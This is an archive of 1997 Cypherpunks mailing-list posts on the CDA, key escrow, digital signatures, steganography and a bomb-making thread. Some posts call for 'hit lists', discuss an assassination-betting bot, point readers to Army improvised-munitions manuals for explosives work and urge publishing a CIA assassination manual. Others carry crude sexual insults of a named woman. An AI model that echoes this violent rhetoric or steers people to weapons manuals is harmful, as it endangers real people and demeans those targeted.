>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 28 Jun 1997 06:33:48 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <3.0.2.32.19970627141340.0093ede0@mail.io.com>
Message-ID: <Pine.3.89.9706271501.A20248-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 27 Jun 1997, Greg Broiles wrote:

> At 01:07 PM 6/27/97 -0700, Tim May wrote:
> [...]
> >The National Rifle Association has become a den of statist compromisers. It
> >should be added to any hit lists.
> 
> Is anyone aware of a pro-second amendment organization which doesn't spend
> some of its money/energy on screwing up other important amendments? (The
> fourth, fifth, sixth, and eighth are popular targets.) 

Take a look at "Jews for the Preservation of Firearms Ownership". You 
don't have to Jewish to join. JPFO is a no-compromise, 
every-household-an-assault-rifle type of organization.

Proud to be a member,
--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 28 Jun 1997 07:29:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <3.0.2.32.19970627141340.0093ede0@mail.io.com>
Message-ID: <v03102800afd9fb2a1b3b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:22 PM -0700 6/27/97, Lucky Green wrote:

>Take a look at "Jews for the Preservation of Firearms Ownership". You
>don't have to Jewish to join. JPFO is a no-compromise,
>every-household-an-assault-rifle type of organization.

This is outrageous.

Surely Jews count on government to defend them and protect them from
criminals. Why would Jews want guns when the government is there to protect
them?

Name a single government that has ever targetted Jews.


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 28 Jun 1997 07:43:15 +0800
To: pooh@efga.org
Subject: Re: Secure Authentication
In-Reply-To: <3.0.2.32.19970627134844.03400910@mail.atl.bellsouth.net>
Message-ID: <v03020904afd9f055c7fc@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



> Robert A. Costner writes:
> > Electronic Frontiers Georgia is forming a working group on Secure
> > Authentication Methodologies.

Actually, the best signature law proposal I've seen comes from the, so help
me, Massachusetts.

It's a single sentence which says that there will be nothing Massachusetts
law which can be construed to preclude the use of a digital signature.

Double negatives aside, the above translates into legal digital signatures.
Period. No bullshit about "Certification" "Authorities", or what
constitutes a "legal" digital signature, or any other cruft. If you sign a
state, or other, document with a digital signature, then, if it can be
proven to be your signature, you signed it. Game over.

Even broken clocks are right twice a day, I guess. :-).

Now if we can get away from the whole idea of biometric signatures
altogether, that would be the next trick...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 28 Jun 1997 11:16:10 +0800
To: cypherpunks@toad.com
Subject: Re: AP Bot Results
In-Reply-To: <199706231344.JAA17712@dhp.com>
Message-ID: <19970627195907.15928@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 23, 1997 at 11:44:33PM -0700, Bill Stewart wrote:
> At or before 09:44 AM 6/23/97 -0400, some provocateur wrote:
> ...
> >Leading eCa$h candidates for dying at an opportune time to make some
> >perennial loser "Dead Lucky" are:
> ...[targets deleted, with prices from $514 to 2,610.02 ]
> 
> >Leading Contributors/Bettors:
> >The James Gang
> >The Dalton Gang
> >The Bell Gang
> >William Geiger III
> 
> You've done an inadequate job of implementing your protocol,
> endangering your customers far more than your targets.

Hmm -- back from vacation, and what do I find?

Actually, more worrisome is the effect things like this might have on
Jim Bell's legal problems.  A nice, lurid example of an anonymous
conspiracy involving AP for the prosecutors to chew on...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 28 Jun 1997 12:33:28 +0800
To: cypherpunks@toad.com
Subject: Re: Netly interviews Donna Rice-Hughes and Sen. Coats staffer
Message-ID: <199706280128.UAA20388@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <v03007812afda0e1988c9@[168.161.105.191]>, on 06/27/97 
   at 08:41 PM, Declan McCullagh <declan@well.com> said:

>[The day before the CDA decision came down, I interviewed David Crane
>from Sen. "CDA II Real Soon Now" Coats' office and Noah interviewed Donna
>Rice-Hughes. Recall Coats was the chief GOP sponsor of the original CDA.
>Here are excerpts. --Declan]

Hi Declan,

What Noah forgot to ask:

"Ms. Rice, considering your previous occupation as a two-bit whore during
the '88 election why should the American public take anything you do
seriously?"

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7Rn1Y9Co1n+aLhhAQFONQQAmXFnvVB91lciCIYIGQv9y8fq+j5zwbz3
r+BE0Q0VpXc+APVpUxqbO5OEb0NRO6+epRgkXn09hInpXFiqnPegprh2otuEPsKP
4IeMOBullzkI1CvXWNBNDZ5Xd9Q9IGWX1Qax7Xi3Dou6UlFQ+3LI3/F2Vn/fqWZv
seogXEJLtYY=
=U+/2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 28 Jun 1997 09:02:43 +0800
To: cypherpunks@toad.com
Subject: Netly interviews Donna Rice-Hughes and Sen. Coats staffer
Message-ID: <v03007812afda0e1988c9@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



[The day before the CDA decision came down, I interviewed David Crane from
Sen. "CDA II Real Soon Now" Coats' office and Noah interviewed Donna
Rice-Hughes. Recall Coats was the chief GOP sponsor of the original CDA.
Here are excerpts. --Declan]

***********

http://www.pathfinder.com/news/netdecency/rice.html

Interview with Donna Rice-Hughes, Enough is Enough

The Netly News
June 26, 1997

[...]

Q: WHY DO YOU SAY THERE IS SO MUCH MISUNDERSTANDING
ABOUT THE CDA IN THE INTERNET COMMUNITY?

I think there's been a lot of misinformation about
what this is all about and what the CDA would do if it
is upheld. I think there have been some scare tactics,
quite frankly, and that's why you have people
concerned about speech. This is an area that the
public hasn't had to understand the nuances of until
now.

You have a lot of people who have been using the
Internet for years for the contructive purposes for
which it was designed. Now it's becoming more
commercial and you have pedophiles, pornographers and
people who are just posting their private collections
of pornography and polluting it, exploiting that
technology. A few bad apples are spoiling it for
everyone else. If it wasn't for that then we wouldn't
be having this problem.

Long before any of this it would have been great if
the Internet community had said, "Hey, don't pollute
this technology," and had imposed their own controls.
But that didn't happen and it isn't happening.

***********

http://www.pathfinder.com/news/netdecency/crane.html

An Interview With David Crane, Legislative Assistant
to CDA Cosponsor Dan Coats

The Netly News
June 26, 1997

[...]

Q: WOULD YOU DO ANYTHING DIFFERENTLY? CHANGE THE
WORDING OF THE CDA?

I don't think so. One of the frustrations we
experienced has been the tremendous amount of debate
that has centered around the indecency standard -- and
the portrayal of those who oppose it as a broadcast
standard. The very federal statute we amended was a
dial-a-porn statute. It was telephony, which is
inherently an interactive method of communication.

Despite representations to the contrary, there was a
tremendous dialogue with representatives of the
computer industry. We tried to strike the best balance
we could.

Q: YOU TOLD ME EARLIER THAT INTERNET USERS DON'T
UNDERSTAND WHAT THE CDA REALLY IS ALL ABOUT.

What Congress said was you're only held responsible
for "knowing" violations. At that point you become
responsible to solve that problem. You can't be held
liable for unknowing violations. That's a distinction
that's been lost in the politicking over this issue.
And that's unfortunate.

This is new technology and evolving technology. That's
why Congress was careful not to codify a specific
method of preventing access for children. What's
effective today may not be effective tomorrow. We
tried very much to have the CDA be flexible and be a
living statute, one that would provide for advanced
technologies and more restrictive technologies over
time.

Q:CAN YOU GIVE ME SOME EXAMPLES?

A good example is PICS [a framework for Internet
rating systems]. Look at the PC Week editorial.

Q:THE ONE YOUR BOSS WAVED AROUND THE SENATE FLOOR?

The industry has waved around PICS and said that's a
solution. But what's the incentive -- for someone
who's providing pornography on the Internet -- to
subscribe to PICS? You're asking him to limit his
potential marketplace in a voluntary way. That doesn't
work. The need for the CDA is you want to say: Yes,
apply technology, but you must restrict access to
pornographic materials for children. If you don't do
it, you'll be subject to prosecution.

Q: WHAT WILL YOU DO IF THE SUPREME COURT STRIKES DOWN
THE CDA?

If the Supreme Court strikes down the CDA, we'll
acknowledge that the current composition of the court
is saying we don't have it right [to pass such a law]
and we'll go back and operate on the precedent that
was established and try again.

The final verson of the CDA -- the compromise that was
struck in the conference committee -- was passed
overwhelmingly. There's precedent to this: the
dial-a-porn law. It took several attempts before it
was upheld by the Supreme Court.

I think that everyone involved -- from the ACLU to a
lot of the reporters on the Internet -- has
misrepresented the CDA in many respects. Saying that
it is a ban on indecency, that adults wouldn't be able
to communicate with each other. That's patently wrong.

Q: YOU SOUND LIKE YOU FEEL OUTGUNNED.

The newspapers have a vested interest. Every major
newspaper editorialized against the law during
drafting and afterward.

You're not going to be a darling of the media. The
media likes to portray this as a free speech issue.
This is part of the process.

Q: SO NOW THE PRO-CDA FORCES ARE THE UNDERDOGS?

One of the virtues of the Internet is the free flow of
information. But only part of the information is being
put out and that's unfortunate.

This representation by opponents of the CDA that
considerations of the unique nature of the Internet
were not taken into account or that members and staff
didn't understand the Internet or that somehow
Congress didn't like the Internet or saw great danger
beyond this issue -- all that is simply not true.

There was consultation with the computer industry at
every step of the way. We wanted to create a living
law -- a flexible law -- that could grow as
technologies evolved.



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 28 Jun 1997 15:55:01 +0800
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: <199706280416.XAA04026@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Huge Cajones Remailer wrote:
> Paul Bradley wrote:
> > I personally know no chemistry at all, but what would be nice is if
> > someone who knows what they are doing wrote an "anarchists cookbook" type
> > set of files, but this time got them right so anyone attempting any of
> > the recipes wouldn`t be killed.

Paul,

Making explosives is very dangerous even if the recipes are right. I
personally knew many kids who lost fingers, eyes and other body organs
due to careless handling of homemade explosives. Probably, the important
thing to do before bombmaking is to learn the safety rules.

I agree with you though that certain recipes and chemicals are unsafe
no matter how carefully to handle them.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CrShNDy@aol.com
Date: Sat, 28 Jun 1997 15:46:49 +0800
To: cypherpunks@toad.com
Subject: mailing list
Message-ID: <970628033152_-2097406877@emout16.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



I want on the mailing list please





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Digital Revolution TM <drtm@dev.null>
Date: Sat, 28 Jun 1997 18:52:44 +0800
To: cypherpunks@toad.com
Subject: Re: Nutly interview Donna Rice-Hughes
In-Reply-To: <v03007812afda0e1988c9@[168.161.105.191]>
Message-ID: <33B4E82F.32E1@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



To: cypherpunks@toad.com
From: Digital Revolution TM <dmtr@dev.null>
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-Comments: -
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Subject: Re: Nutly interview Donna Two-Names

Declan McCullagh wrote:
> http://www.pathfinder.com/news/netdecency/rice.html
> Interview with Donna Rice-Hughes, Enough is Enough
> The Netly News
> June 26, 1997
 
> You have a lot of people who have been using the
> Internet for years for the contructive purposes for
> which it was designed. Now it's becoming more
> commercial and you have pedophiles, pornographers and
> people who are just posting their private collections
> of pornography and polluting it, exploiting that
> technology.

  Why isn't Donna Rice-Huges telling us the _names_ of all
these pedophiles on the internet? Better yet, why isn't she
telling law enforcement authorities the names of these
pedophiles?
  If legislators and crusaders are aware of large numbers
of pedophiles using the internet or any other medium for
promoting child pornography then why aren't they taking
steps to enforce the existing laws against this behavior?
 
> A few bad apples are spoiling it for
> everyone else. If it wasn't for that then we wouldn't
> be having this problem.

  Excuse me? A 52 billion dollar a year (and growing) industry
would seem to me to be an indication that a significant number
of those included in the "everyone" that Donna Rice-Hughes has
taken it upon herself to speak for are willing and active 
participants and consumers in the growing portion of the 
internet industry which is fulfilling the needs of people of
various sexual proclivities.
  Not having seen Donna Rice-Hughes naked for quite some
time, I cannnot comment as to whether naked pictures of her
could be regarded as "pollution" but I would submit that the
thousands upon thousands of ordinary men and women who choose
to share erotic home photographs of their bodies with others
do not regard their physical vessel as a form of "pollution."

> Long before any of this it would have been great if
> the Internet community had said, "Hey, don't pollute
> this technology," and had imposed their own controls.
> But that didn't happen and it isn't happening.

  This is the "Big Lie" that censoring fascists such as Donna
Two-Names would have us believe.
  The InterNet community imposes the same control that I myself
impose--namely, *self-control*.

  I do not post naked pictures of myself to the cypherpunks list,
or to the health lists I particpate in. Nor have I ever posted
long discourses on cryptography to alt.sex.picures.Rice-Hughes.
  I have no plans to become a pedophile because of the CDA being
declared unconstitutional. (Likewise, I find it hard to believe
that anyone would stop being a pedophile because of the CDA being
passed.)

  Millions of ordinary citizens are imposing the self-control
needed to direct their InterNet activities toward forums which
are formed to promote and enhance that form of activity.
  No doubt some children's forum will at some point receive a
sexually graphic picture from a sex-spammer (or government
agent / religious agent provoacteur). I hardly regard this as
a good reason to enact invasive and oppressive laws aimed at
people who are engaging in activities they enjoy in forums
created for that purpose.
  The fact is that sex-graphic spamming of children, if it does
occur, can be handled by dealing with the person who performs 
an action such as this, which may be highly inappropriate. The 
Fascist Censorship Coalition, however, would have us believe 
that such actions would go "unpunished" unless invasive and 
oppressive laws are passed which would inhibit and/or 
criminalize activities which a significant portion of the 
citizens find to be of value in their lives.

  Another of the "Big Lies" that the Fascist Censorship Coalition would
have us believe is that their main concern is preventing minors from
having easy access to what is considered "adult" material.
  Donna Rice-Hughes makes it plain that she considers activities she
wishes to support and engage in "constructive," while activities she
does not wish to support and engage in are "pollution." I find this as
normal and natural as considering ASCII art spams to the cypherpunks
list to be "pollution" of the list (except for the really funny ones).
  The problem I have with the Fascist Censorship Coalition is not just
that they want to embark upon the same censorous path that John
Gilmore ill-advisedly trod (though I will forgive him once Tim McVeigh
has died for John's sins), but also that they desire to do so with 
armed force (laws/prison).
  Those claiming the moral high-ground do not merely want (by way of
analogy) to unsubscribe Dr. Vulis from the list because they disagree
with his views and attitude, but also want to prevent him from speaking
on *any* list, and imprison him if he should do so.

  "Big Lie #<random number> uses loud proclaimations of pedophilia and
bestiality (the four 'dicl-licking' horsemen) lurking on every corner, 
when their real agenda is to suppress and criminalize activities which 
they regard as "immoral" regardless of the fact that millions of
citizens
consider those activities acceptable.
  For the record, I do not, as a matter of practice, stick crowbars up
my ass. Neither do I spend time seeking out pictures of those who do.
I also have no particular interest in doing a Yahoo search on "home
hardware" only to retrieve a multitude of pointers to websites dedicated
to pictures of people sticking a crowbar up their ass. When it happens,
("The YOUNGEST TEENS on the Net--Sticking CROWBARS up their ass!!!")
I regard it like I do ASCII art-spams and I ignore/delete them (unless
I see indications of "redeeming social value" or a really superlative
"cheap shot").

  "The answer to noise is more noise."
  Unfortunately, all the Fascist Censorship Coalition has is a hammer,
so everything looks like a nail to them. ("The nail that sticks out
gets hammered down.")
  Donna Rice-Hughes is free to join with others having similar interests
in order to _create_ "constructive" noise of her choosing in order to
drown out what she considers "pollution." Instead, she sets her sights
on the destruction of noise which a significant number of citizens
consider to be of value. She and the other members of the Fascist
Censorship Coalition choose to be "destroyers" rather than "creators."

  Saddam Hussein could come to America and claim the moral high-ground,
denouncing Donna Rice-Hughes as a harlot for showing her bare arms,
or ankles, or whatever his definition of "immorality" encompasses.
  He could likely parrot every moralistic stance taken by the Fascist
Censorship Coalition and make the same claims for the need to enact
laws to censor and/or ban much of what the Coalition values.
  The question is: "*Which* 'scum' needs to be 'cleansed' from our 
common environment?"
  The answer, (according to the Fascist Censorhip Coalition) is:
 "The _free_speech_ scum."

  The bottom line is that the Fascist Censorship Coalition's goal is
to force their moral(~religious) values on the "everyone" that they
claim to be speaking for.
  Not only that, but they also wish to use armed force (laws/prison)
to suppress the display and expression of those concepts and activities
which fail to meet their own moral(~religious) criteria. They not only
don't want themselves and their children to be exposed to certain "bad"
materials/speech, but they don't even want the existence of that "bad"
material/speech to be acknowledged in their moralistically protected
corner of reality.

  My guess is that the reason Donna Rice-Hughes has a problem with 
other people putting a crowbar up their ass is because it reminds her
of the painful stick that she has up hers.

~~~~~
TruthMonger
     ~~~~~~

p.s. - singling out the Bible-thumpers, in particular, my personal
theory is that when they do a search on the word "christian sex" in
order to find religiously oriented sex-education material and then
receive 20,000 pointers to URL's with names like "Naked Teenage 
Christian  Sex Slaves," that this is merely divine retribution for
all of those "social events" they invited me to that turned out to
be prayer meetings at which the "sins" being railed against all
seemed to be lifted from my personal diary.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 29 Jun 1997 00:12:24 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
Message-ID: <199706281603.JAA02917@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



>I want on the mailing list please
>
>
haha





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 29 Jun 1997 00:34:32 +0800
To: cypherpunks@toad.com
Subject: Re: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: <v03102806afdaeae96ec5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:16 PM -0700 6/27/97, Igor Chudov @ home wrote:
>Huge Cajones Remailer wrote:
>> Paul Bradley wrote:
>> > I personally know no chemistry at all, but what would be nice is if
>> > someone who knows what they are doing wrote an "anarchists cookbook" type
>> > set of files, but this time got them right so anyone attempting any of
>> > the recipes wouldn`t be killed.
>
>Paul,
>
>Making explosives is very dangerous even if the recipes are right. I
>personally knew many kids who lost fingers, eyes and other body organs
>due to careless handling of homemade explosives. Probably, the important
>thing to do before bombmaking is to learn the safety rules.
>
>I agree with you though that certain recipes and chemicals are unsafe
>no matter how carefully to handle them.

Ironically, safety instructions for making bombs would almost certainly be
lumped in with the actual formulas for explosives. (Actually, as the safe
and proper handling is more critical to successful bomb-making than the
mere mixture of chemicals, this is a certainty.)

And, as usual, the law will probably end up being applied to people
innocent of criminal intent.

And the _real_ bombers will continue to learn their trade at training camps
in the deserts of Sudan and Iraq, and, of course, in the various militaries.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 29 Jun 1997 00:51:04 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Bomb-making instructions....
In-Reply-To: <199706250551.WAA26895@fat.doobie.com>
Message-ID: <3.0.2.32.19970628094411.006c20b8@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:16 PM 6/27/97 -0500, Igor Chudov @ home wrote:
>Making explosives is very dangerous even if the recipes are right. I
>personally knew many kids who lost fingers, eyes and other body organs
>due to careless handling of homemade explosives. Probably, the important
>thing to do before bombmaking is to learn the safety rules.

I would urge anyone interested in explosives, but unfamiliar with them, to
first read the following books before attempting any recipes out of the
"Anarchist's Cookbook" and similar publications. Your
extremities/eyes/health will thank you.

TM 31-210 Army Technical Manual "Improvised Munitions Handbook"
TM 31-201-1 Army Technical Manual "Unconventional Warfare Devices and
Techniques: Incendiaries"

Both paperbacks can be purchased at any gun show for about $5 each.

You also should take a look at the
"ATF - Explosives Law and Regulation" aka "The Orange Book".

It is available for free at any ATF field office. No, they won't ask for
ID. In fact, they couldn't care less who comes by to pick up a copy.

Be safe,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 29 Jun 1997 00:57:52 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Sources for stego images
In-Reply-To: <v03102804afd38b324730@[10.0.2.15]>
Message-ID: <19970628094834.37563@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 23, 1997 at 11:38:25PM -0700, Bill Stewart wrote:
> >> >That's the major problem with images, you need to generate your own.
> >> >Unless you fancy writing an image enhancement system, and analyse the
> >> >algorithms in existing systems to ensure that randomness is
> >> >introduced.
> ..
> >Or, set up your own webcam "to watch your coffee pot twice a minute" or
> >something. Merge the crypto stream through the gifs after tweaking the
> >brightness and contrast to avoid 0 and 255 (a light fixture with a pattern
> >of 254/255 values gets suspicious, and is not from thermal noise - a
> >"problem" with monochrome quickcams for night photography).
> 
> Pictures like coffee pots are likely to have parts that change
> (e.g. the state of the coffee pot) and parts that don't change 
> (e.g. the part of the wall that isn't blocked by the pot.)
> This means that it's easy to tell which bits are being messed with,
> if somebody's watching successive pictures.  If the digitization's
> random enough in the low bits, it's a bit better, but a picture of
> something moving helps.  Oceans and fog are great....

Sources of pictures aren't really the problem, though -- it's
developing the widespread habit of people sending references to
pictures along with their email.  For example, if the "cool thing to
do" was to note a link to a favorite photo in your sig (as I have
done, below), then people who were interested in communicating
privately could build up a significant cache of shared pictures.  Code
to automatically compare pictures with the previous version, and
decrypt the embedded messages is no big deal -- the big deal is 
getting people to habitually include links to pictures -- or sound 
files, or whatever...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html
Picture of the day: http://songbird.com/pix/photos/gc8.jpg





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FMart62512@aol.com
Date: Sat, 28 Jun 1997 22:16:39 +0800
To: cypherpunks@toad.com
Subject: newsletter
Message-ID: <970628095216_-1528509405@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



is there a mailing list i can be put on? if so pleae do





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 29 Jun 1997 01:14:37 +0800
To: cypherpunks@Algebra.COM
Subject: CIA's Manual on Assassination Politics
In-Reply-To: <199706280416.XAA04026@manifold.algebra.com>
Message-ID: <v03102807afdaf4009156@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:44 AM -0700 6/28/97, Lucky Green wrote:

>I would urge anyone interested in explosives, but unfamiliar with them, to
>first read the following books before attempting any recipes out of the
>"Anarchist's Cookbook" and similar publications. Your
>extremities/eyes/health will thank you.
>
>TM 31-210 Army Technical Manual "Improvised Munitions Handbook"
>TM 31-201-1 Army Technical Manual "Unconventional Warfare Devices and
>Techniques: Incendiaries"

Likewise, anyone interested in Assassination Politics should get ahold of
the CIA's training manual for assassins and covert operatives. This manual
was used extensively in training locals in Nicaragua to kill members of the
democratically elected government in Nicaragua. (And Diem, and Lumumba, and
Guevara, and on and on.)

Interestingly, when a Pakistani (or maybe Afghani) native practiced AP on
some CIA agents at the front gate of the Langley facility, the CIA then
spent $5 million tracking him down, even paying $2-3 M in finders fees.

>Both paperbacks can be purchased at any gun show for about $5 each.
>

>It is available for free at any ATF field office. No, they won't ask for
>ID. In fact, they couldn't care less who comes by to pick up a copy.
>

Though I rather suspect finding the CIA's domestic field offices might be
tough, so asking for a copy of the CIA's manual on assassination would be
problematic. Too bad nobody has bothered yet to scan and OCR it and put it
on the Web. Now _that_ would be a blow!

Foreign offices of the CIA might be easier to locate. Just walk up to any
embassy gate and ask to speak to the Cultural Attache.

(And various CIA and DIA agents in various countries have their names
published in the opposition press, the same kinds of press that Germany and
other neo-fascist regimes are shutting down, a al Radikal and Integral and
whatnot.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 29 Jun 1997 01:21:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <v03020929afd325266f9d@[139.167.130.247]>
Message-ID: <19970628101134.52512@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jun 24, 1997 at 01:45:35PM -0400, tzeruch@ceddec.com wrote:
[...]
> > ... why wouldn't escrow work ...
> 
> Because the government could retroactively reverse transactions.  Currency
> is only as good as far as it is trusted.  Would you accept a transaction
> that if the government opened the crypto, and found that the person that
> sent you the cash was a drug dealer, which meant that all your finances
> are thus contaminated with "drug money", and that they would not only
> seize the transaction, but all other money?  I think not. 

So how is that different than the current situation without 
cryptography?  If people couldn't live with key escrow, how can they 
live with the current situation?  Answer:  they live with the current 
situation because the government abuses you describe are kept below 
the revolution threshold.  The same would be the case with key escrow.

> The goverment could also open the note and spend it before you did (for
> things like back taxes).  Assuming it is not a janitor working in the
> building housing the escrow computer who is doing it.
> 
> In effect, key escrow applied to electronic cash is a lein against every
> note that can be executed without your knowledge or consent.

But so what? Right now the government has intimate knowledge of your
finances through tax records and other sources, and has the power to
put liens on your property and your cash for all kinds of reasons.  
And indeed, all too frequently it gets out of control.  But the 
bottom line is that business in the US continues to function.  It 
would continue to function with key escrow, as well.

> There are technical solutions and problems which I can go into further. 
> But, briefly, the goverment will want to track all sides, and anything
> will require huge computer resources to store the escrowed keys.  

Assuming certain models of key escrow, yes.  Under other models, no.  
But imagine the worst case -- GAK creates a huge unwieldy expensive 
computerized infrastructure and associated bureacracy.  What 
happens?  Businesses find other ways to protect their data and 
transactions, huge economic inefficiencies develop, and the whole 
thing collapses and goes away.

It's amazing how little faith libertarians have in the market system,
isn't it?  :-)

Or another scenario:  A janitors at a Government Key Escrow Center is 
caught making billions illegally.  An outcry in Congress, laws are 
repealed, new laws are passed, etc etc etc.  If the system works 
badly it will fail.

[...]

> If the government can declare "authentic" currency to have no value
> (especially retroactively), the same rule applies, which is why key escrow
> is equally damaging. 

Governments have devalued currencies many many times in the past
without the need of key escrow...key escrow is an independent issue. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sun, 29 Jun 1997 01:38:18 +0800
To: tcmay@got.net
Subject: Re: Bomb-making instructions....
In-Reply-To: <v03102806afdaeae96ec5@[207.167.93.63]>
Message-ID: <199706281724.KAA09438@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:


> Ironically, safety instructions for making bombs would almost certainly be
> lumped in with the actual formulas for explosives. (Actually, as the safe
> and proper handling is more critical to successful bomb-making than the
> mere mixture of chemicals, this is a certainty.)

Yes.  Instructions like "Do not drop bomb" and "run away after you
light the fuse" are enabling technologies which allow terrorists to
